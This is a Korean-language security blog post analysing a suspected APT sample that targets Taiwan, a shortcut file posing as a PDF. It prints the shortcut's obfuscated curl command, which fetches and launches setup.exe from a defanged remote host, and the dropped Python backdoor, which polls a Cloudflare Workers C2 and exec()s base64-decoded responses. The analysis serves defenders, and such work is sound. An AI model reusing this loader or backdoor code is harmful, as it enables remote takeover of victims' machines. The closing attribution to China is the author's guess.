오늘은 대만(Taiwan)을 목표로 한 것으로 추측되는 어느 APT 악성코드-2025416-方案1-方案細節.pdf.lnk(2025.4.19)에 대해 글을 적어보겠습니다.
파일명: 2025416-方案1-方案細節.pdf.lnk
사이즈:1 MB
MD5:c77858bbcfb2ab87d9469d6376cbe223
SHA-1:c4060cde6b85272993a78feee085ed15c8b2ee25
SHA-256:f4bb263eb03240c1d779a00e1e39d3374c93d909d358691ca5386387d06be472
方案1-方案細節 이라는 부분을 번역하면 솔루션 1 - 솔루션 세부 정보이며 2025416-계획 1-계획 세부 사항 정도로 번역될 것입니다.

악성코드 포함된 명령어
StringData
{
namestring: not present
relativepath: ..\..\..\Windows\System32\cmd.exe
workingdir: C:\Windows\System32
commandlinearguments: /c ^c^u^r^l hxxps://mail(.)9kyd(.)com/skins/setup(.)exe -o C:\Users\Public\Downloads\setup(.)exe && (^s^t^a^r^t /^B C:\Users\Public\Downloads\setup.exe)
iconlocation: .\1.pdf
}
악성코드 분석
1. 실행 경로가 상대 경로로 설정되어 있으며 cmd.exe가 호출되고 있고 일반적으로 악성 스크립트는 cmd.exe 또는 powershell.exe를 사용해 악성 코드를 실행하는 악용이 됩니다.
..\..\..는 디렉토리 트리를 역으로 올라가서 시스템 폴더로 이동하는 방식 흔히 경로 탐지를 우회하려는 시도에서 볼 수 있음
작업 디렉터리는 System32 즉 높은 권한을 요구하는 시스템 폴더
실행 컨텍스트가 해당 디렉터리에서 이루어지므로 권한 상승과 연관되었을 가능성이 큼
2.commandlinearguments 분석
전체 명령어 흐름:
/c->cmd에 명령어를 넘겨 실행만 하고 종료하라는 옵션
^->윈도우 cmd에서 이스케이프 문자예:^c^u^r^l>curl
전체 명령어를 복호화하면:
curl hxxps://mail(.)9kyd(.)com/skins/setup(.)exe -o C:\Users\Public\Downloads\setup(.)exe && (start /B C:\Users\Public\Downloads\setup(.)exe)
가 됩니다.
curl 명령어를 사용해 원격 서버에서 실행 파일 다운로드:
저장 경로: C:\Users\Public\Downloads\setup.exe
다운로드가 완료되면 start /B 명령어로 백그라운드 실행
실행 파일: setup.exe
iconlocation: .\1.pdf
아이콘 파일이 PDF 문서 아이콘처럼 보이게 지정되어 있음
.lnk 또는 PE 파일에서 사회공학 기법 (Social Engineering)으로 사용자를 속이기 위한 흔한 수법
1.PDF로 보이지만 실제로는 실행 파일이거나 바로가기
.pdf 아이콘을 사용하여 사용자가 악성 파일을 클릭하도록 유도하는 것이 목적

setup 파일 해쉬
파일명:setup.exe
사이즈:7 MB
MD5:eb497402e6fcb1c7cfb3f129bcc4f3f0
SHA-1:79f65b36c2d14e5853eee8ee6454f19e1f5d5931
SHA-256:4e256572e001b76872074878f8ecd2be3f237c9b3a18d0059e2f4a3888579b5b
입니다. 해당 설치 파일을 실행하면 여러 가지 Py 여기서 이야기하는 py 파일은 일반적인 텍스트 파일로, 파이썬 코드를 포함된 것입니다. 여기서 파이선이 설치돼 있지 않을 때에는 악성코드에서 파일을 따로 설치해서 해당 py를 실행을 하는 것이 큰 특징입니다.
setup.py 내용

import copy
import datetime
import html
import http.client
import io
import mimetypes
import os
import posixpath
import select
import shutil
import sys,time,_thread,urllib.request,base64,random
total, used, free = shutil.disk_usage("/")
sid = str(total%9999)
stime=60
url = "hxxps://eip(.)netask(.)workers(.)dev/"
hdr = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language':'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Accept-Encoding':'gzip, deflate, identity',
'Session':sid,
'DNT':'1',
'Cookie':'',
'Sec-Fetch-Dest':'empty',
'Sec-Fetch-Mode':'cors',
'Sec-Fetch-Site':'same-origin'
}
def mythread(axcs):
print('mythread...')
try:
hdr['Cookie']=''
req = urllib.request.Request(url, headers=hdr)
response = urllib.request.urlopen(req)
rsph = response.info()
if ('Content-Encoding' in rsph and rsph['Content-Encoding'] == 'gzi(p)') or ('content-encoding' in rsph and rsph['content-encoding'] == 'gzip'):
import gzip
content = gzip.decom(p0ress(response.read())
else:
c(o)ntent = response.read()
html = c(o)ntent.decode('utf-8').strip()
if len(ht(m)l) > 2:
exec(bas(e)64.b64deco(d)e(html[2:]).decode())
except Exception as ex:
pr(i)nt(ex)
try:
while Tru(e0:
print('.(.).:',stime)
i = 0
while i < s(t)ime:
time.sl(e)ep(1)
i = i + 1
_thread.star(t)_new_thread( mythread, (1, ) )
except:
pass
악성코드 분석
Cloudflare Workers를 이용한 C2 연결, Base64 인코딩 명령 수신, 자동 실행까지 완비한 완전한 형태의 원격 제어 백도어
언어: Python 3
기능: Remote Code Execution (RCE) 백도어
C2 주소: hxxps://eip(.)netask(.)workers(.)dev/
탐지 우회: Base64 인코딩+정규 헤더 사용
배포 목적: RAT,정보 탈취,드롭퍼 등 공격
디스크 정보로 세션 ID 생성*(sid)
헤더에 세션 ID 포함한 HTTP 요청 반복 전송
응답이 Base64 인코딩된 코드이면 실행 (exec)
60초 간격으로 새 스레드 생성 후 위 동작 반복
C2 연결+명령 수신
Cloudflare Workers 기반의 명령 서버 (C2)
일반적인 도메인처럼 보이기 때문에 탐지 회피 쉬움
정기적으로 C2에 접속해 명령어 수신
응답 파싱 및 실행
응답 html 문자열은 다음 형태로 구성됨

앞 2글자를 자르고 Base64 디코딩->exec()로 실행
RCE (Remote Code Execution)기법
공격자는 마음대로 파이썬 코드를 클라이언트에서 실행할 수 있음
스레드 기반 지속성
60초마다 새 스레드 생성
기존 코드 실행 중이어도 계속 명령을 수신하고 실행
백그라운드에 숨어서 활동
.exe, 파일 삭제, 파일 드롭,브라우저 크레덴셜 탈취, 스크린 샷,키로깅,셸 연결 등 공격을 감행할 수가 있다고 생각함
대만을 공격한 것이 맞지만, 누구의 소행인 줄 모르겠지만 일단 확실하게 짚이는 부분은 중 국가 될 가능성이 매우 클 것 같습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
| KT 엠모바일(KTM 모바일) 유심보호서비스 가입방법 (0) | 2025.04.30 |
|---|---|
| SKT 해킹 실제 악성코드 사용? 중국 해커의 리눅스 백도어 BPFDoor 분석 (0) | 2025.04.30 |
| 윈도우 11 보안 기능 VBS Enclaves가 일부 시스템에서 더 이상 사용되지 않음 (1) | 2025.04.28 |
| SKT 통신사 해킹 파일 관련 dbus-srv-bin.txt 주요 내용 분석 (4) | 2025.04.27 |
| 윈도우 빈 inetpub 폴더로 인해 새로운 보안 문제가 발생 (0) | 2025.04.25 |
| 제안서로 위장을 하고 있는 북한 코니(Konni) 에서 만든 악성코드-제안서(2025.4.11) (0) | 2025.04.24 |
| 대검찰청 사칭 보이스 피싱 사이트 분석-143(.)110(.)247(.)2260(2025.4.16) (0) | 2025.04.23 |
| 발견되지 않은 엔드포인트를 격리하여 공격을 차단하는 Microsoft Defender (0) | 2025.04.18 |





